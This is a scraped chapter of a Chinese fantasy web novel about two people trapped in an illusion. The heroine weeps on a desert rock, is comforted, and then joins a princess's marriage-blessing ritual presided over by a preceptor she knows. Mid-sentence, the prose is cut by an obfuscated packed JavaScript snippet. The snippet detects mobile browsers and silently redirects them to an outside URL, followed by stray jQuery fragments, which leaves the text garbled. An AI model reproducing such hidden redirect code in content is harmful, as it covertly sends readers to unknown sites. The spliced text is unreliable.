26. 暗通款曲

作品:《本神在现代社会里历劫

    齐哲越满怀壮志的拿着地图,周围人终于看到了希望,眼中燃着激动的光。


    “达宛比高仓富庶的多,我们的嫁妆比高仓公主的好上十倍,这次联姻一定可以成功。”一个圆脸侍女兴奋地说道。


    “对!我见过高仓公主的嫁妆跟达宛的根本不能比!”另一个男声激昂的附和,彷佛通往希望的大门就在眼前。


    “终于可以离开这个鬼地方了!”一个男子大吼一声,泄愤般扯下沉重头盔,“哐!”一声砸在地上,溅起尘土飞扬。


    “太好了!”


    众人被压抑太久,中间有的人开始小声啜泣,接着有人悲从中来放声痛哭,他们想起了在这场幻境中死掉的亲人、朋友、爱人。


    有的是为了保护他们而死,有的是气不过拼死一搏,最后被敌军的狼牙利器勾住脖子、活生生拖拽而死。


    一个个鲜活的生命流逝,他们来自五湖四海,甚至是不同时代的人,他们在幻境中相处成了朋友,最后与血流满地、黄沙埋骨。


    人非草木,孰能无情。


    念玉看着那一叠叠连环画,正准备拿起一张仔细观摩。


    “你干什么?”司幼嘉一把夺过纸张,防备的看着她。司幼嘉是天一阁老道长的亲传弟子,也是天一阁长老的女儿,自小就被师兄师姐拥趸着长大。


    在她眼中,念玉和尔予宸注定会是这一轮幻境的牺牲者,谁能保证一个濒死者会做出什么丧心病狂的举动。


    人群霎时安静了下来,齐哲越只低头赶紧抓起一大把画卷收了起来,那几个天一阁的弟子连忙七手八脚的将画卷卷起生怕念玉看到。


    众人默不作声的孤立地看着尔予宸和念玉。


    在念玉和尔予宸之前,就有好几个抽中公主和将军牌的人因死亡的折磨而精神崩溃,甚至有的仗着公主牌在手对他们呼来喝去,想尽办法折磨人。


    念玉轻蔑的冷笑一声,冲那群拿着侍女牌的人丢下一句话,利落地转身就走。


    “你们都待在城外吧。”


    正好成全那帮人,眼不见,心为净。


    尔予宸找到念玉的时候,她正在坐在一个巨型岩石上,岩石那么高,他都不知道她是怎么爬上去的。


    荒凉沙漠上明月孤悬,念玉身形小小的蜷成一团像一个无助流浪的猫儿,一点一点望着明月西沉。


    若非重获法力,她应该还是个再普通不过的女孩,丢在茫茫人海中都不会有人注意。


    按神魂的真实年龄计算,她的年岁才堪堪够到神族成年的门槛。


    幕后黑手还宛如毒蛇般隐匿暗处,她冒着危险进入幻境救人,却被这样对待。


    或许是引念珠的效果过于出众,那些埋在心中早已隐匿不见的情绪都一一翻涌出来。


    加上夜晚格外使人敏感脆弱,她想起了大雷音寺终日漫卷、氤氲不散的彩霞,想起她一遍一遍在师父面前背诵那些晦涩难懂的经文,一次次在法会上当着满天神佛的面打瞌睡。


    “我想回家了。”她对着月亮,如初时恢复记忆那般许愿,脸颊滑落一颗滚烫的泪。


    那时她还是个孩童心性的稚子,现今……已不复从前。


    人世间太冷了,她只觉得彻骨寒凉。


    尔予宸站在她的身后,他褪下了那身铠甲,身姿笔直的站在月色的清辉下,满是疼惜的望着她。


    念玉看着来人,或许是那人温柔的目光好似能将她融化,好似能承接她在这世间的苦痛。她的泪水夺目而出,怎么都止不住。


    她胡乱抬手摸了摸泪水,眼眶蓄满水汪汪的泪花,像个孩子般朝他摊开胳膊,一如前世一般。


    “你抱抱我,好不好?”泪珠如潮水涌落,她轻声将心中压抑深埋的渴望说了出来。


    尔予宸爬上岩石,心疼的将她揽在怀里,她熟稔地寻到一个舒服的姿势伏在他的肩头,泪水打湿了他的肩膀。


    她在他怀中抽搭搭的啜泣着,或许是感受到他对自己的纵容,她终于将自己当做一个活生生的人般感到委屈。


    “其实……我其实是想告诉他们有不费一兵一卒的方法。”她将脸埋在他的肩头,话语带着闷闷的鼻音。


    “可是他们根本不会相信我的。”羽扇般的睫毛上挂着晶莹的泪,念玉神情低落。


    齐哲越能靠着惊人的记忆力和道门利落的武术实力让众人相信他。


    可念玉什么都没有,她不是真的公主,这里也不是千年前,那帮人不会因为她拿了公主木牌就相信她。


    她肩不能挑、手不能提,年纪也不大,又是初次踏入幻境看起来就很没有阅历,无论她说什么,众人都不会信服的。


    偏偏她现在还不能动用法力以免打草惊蛇。


    尔予宸就是知道这一点才一言不发的任那群人自顾自地筹谋策划。


    他安抚的轻拍着她的后背,忍不住轻拭她掉落的泪珠,她哭的眼眶红红,梨花带雨的窝在他的怀里。


    “为什么想要救他们?”他的眼中浸润着念玉看不懂的忧伤。


    “因为于心不忍。”念玉将眉尖蹙地高高的,长吸了一口气。


    “我没有什么慈悲为怀的心胸,也不想做什么所谓的善事,我只是希望自己良心可安、问心无愧。”


    “如果不救他们,我心里会很难受。”她眼神真挚、纯粹,蕴含着世间最纯净的真心。


    为了自保,她将自己裹在厚厚的壳子里,戴上各式各样的面具,明明知道苍生可弃,可是只要她有能力就还会不遗余力的救他们。


    她的道理简单到不能再简单。想做到,可以很容易,也可以很难。


    那是她的道心。


    为了这份道心,她要在这世间跌沛流离……


    念玉窝在尔予宸哭了很久,可她终究还是个跳脱的性格,她从他怀里冒出头,脑中灵光一闪,忍不住发问:


    “番邦的公主可以和将军夜不归宿吗?”


    尔予宸认真的沉思了一下,“应该不可以。”


    她从他怀中坐起来,像个小女孩一样兴致勃勃的分析。


    “我猜阴魂伞的主人肯定是将军或者公主,不然不会纵容我们这样暗通款曲。”


    突然想到什么,念玉“噗”的轻笑出声,跌回他的怀中。


    “说不定是兰娜也有可能,因为她一看就是将军和公主的CP粉。”


    “嗯。”他配合着她新奇的脑回路,无限温柔的俯身在她耳边,用似有若无的气音说,“公主殿下,我们该回去了。”


    他正准备将她打横抱起,就注意到地面一滩殷红的血迹。


    “哪里受伤了?”他神情紧张,又不好直接解开衣服查看她的伤势。


    念玉和尔予宸只是以意识入幻境,幻境中受的伤并不会带入现实世界。


    “又不会真的受伤,那么在乎干什么。”念玉不在意的笑道。


    “可是你会疼。”


    闻言,念玉心中似有暖流化开,好似五脏六腑都暖的发烫。


    念玉抿唇无声的叹息,实在是觉得她每一世都没能过他这道情劫,都是情有可原。


    尔予宸终于找到她火红衣裳下一处湿漉漉伤口,


    “石头割破的。”念玉讨好般冲他笑了笑,“没有那么疼的。”


    岩石的锋利处划破了她的小腿,念玉看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325467|181741||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到这块大石头的时候,正在气头上,就像爬上来看看月亮。


    可是就是上不来,她从小很久执拗,从天庭到人间,她心中闷着一口气。


    她觉得这个高耸的大石头就像命运那道难以翻过的天堑,在嘲笑她失权、失势后的无能。


    于是就和大石头较起劲来,硬是要爬上来,就这样石头割破了腿,一路带着血淋淋的伤口,念玉气势汹汹地爬了上来。


    那张牙舞爪的架势,不知道的还以为她征服的不是石头而是天道。


    尔予宸将她的伤口仔细包扎好,踏着月色背着她往达宛王城走去。


    当太阳的第一缕光辉照耀达宛王城,


    念玉迷迷糊糊被兰娜从床榻上拉起来,套上一层层嫁衣,


    兰娜替念玉穿着嫁衣,又忍不住抱怨道:


    “此去和亲路途遥远,您身边要正是得力之人,怎么能带上这些偷懒耍滑的刁奴呢!”


    念玉不受控制般开口,声音懒洋洋,“无妨,这次和亲生死难料,何必让那些真心侍主的奴仆白白送死呢。”


    “也就只有你,”她的不受控制的点了点兰娜的头,语气透着宠溺,“一根筋,非要跟着我去和亲受罪。”


    兰娜模糊的面容透着果决,“公主待兰娜好,兰娜愿为公主付出性命,刀山火海、在所不辞。”


    和亲公主出发前要前往祭坛祈福,闭关已久的国师将亲自为公主举行祈福仪式。


    阴魂伞出现在达宛王城绝不可能是偶然,国师这个职业说破天也就是古代的神棍,靠忽悠皇帝能长生不老和一统天下混口饭吃,当然其中也不乏能人异士。


    整个达宛王城看来风平浪静,阴魂伞极有可能在国师手里。


    念玉穿着婚服站在千年前的祭坛下,红绸飘扬,国师的诸位弟子虔诚诵经。


    她仔细扫过祭坛每一个国师弟子的面容,桓秋并不在这些随她前往大月和亲的国师弟子中。


    那就只有一种可能,国师本人。


    身披红袍的桓秋手持国师法杖出现,念玉正跪坐于祭坛中央,接受古老的赐福仪式。


    “国师大人。”看到桓秋,念玉不受控制的起身行礼,她被控制着走完主要的赐福流程。


    桓秋亦然,他垂眸一本正经地回礼,“公主万安。”


    并闭目吟诵起古老深晦的祈福经文。


    念玉见自己这副身体已经完全进入了代管挂机模式,她便放空思绪,修养心神。


    直到走完所有祈福仪式,达宛王也没有出现。


    看来这个媞月公主十分不受她父王宠爱,女儿出嫁,作为父亲都不肯前来相送。


    思绪浮动间,念玉已经被众人簇拥着进入马车中,念玉掀开织金软纱的车帘,车驾内美酒金樽、珠宝玉器一应俱全,好不奢华。


    她动动手指,发觉自己恢复了身体主导权,干净利落地拂袖坐在轿中。


    桓秋也恢复了身体控制权,站在马车外,掀帘打趣笑道:


    “公主殿下,你这也算本色出演了。”


    念玉看着他一身惹眼的红袍立在猎猎风中,只觉得国师这个角色还真是非他莫属。


    “国师大人也不遑多让。”


    司幼嘉看到桓秋出现在幻境中,心里十分欣喜,急忙小跑着前来找他,不料碰见念玉和桓秋的相谈甚欢。


    “桓师兄,你们认识?”司幼嘉疑惑的看着二人。


    “认识,她是我本科的学妹。”


    这时,天一阁的一众弟子看见了桓秋,纷纷涌都上前来。


    桓秋简单同天一阁弟子寒暄了几句就翻身上马,同尔予宸并驾齐驱。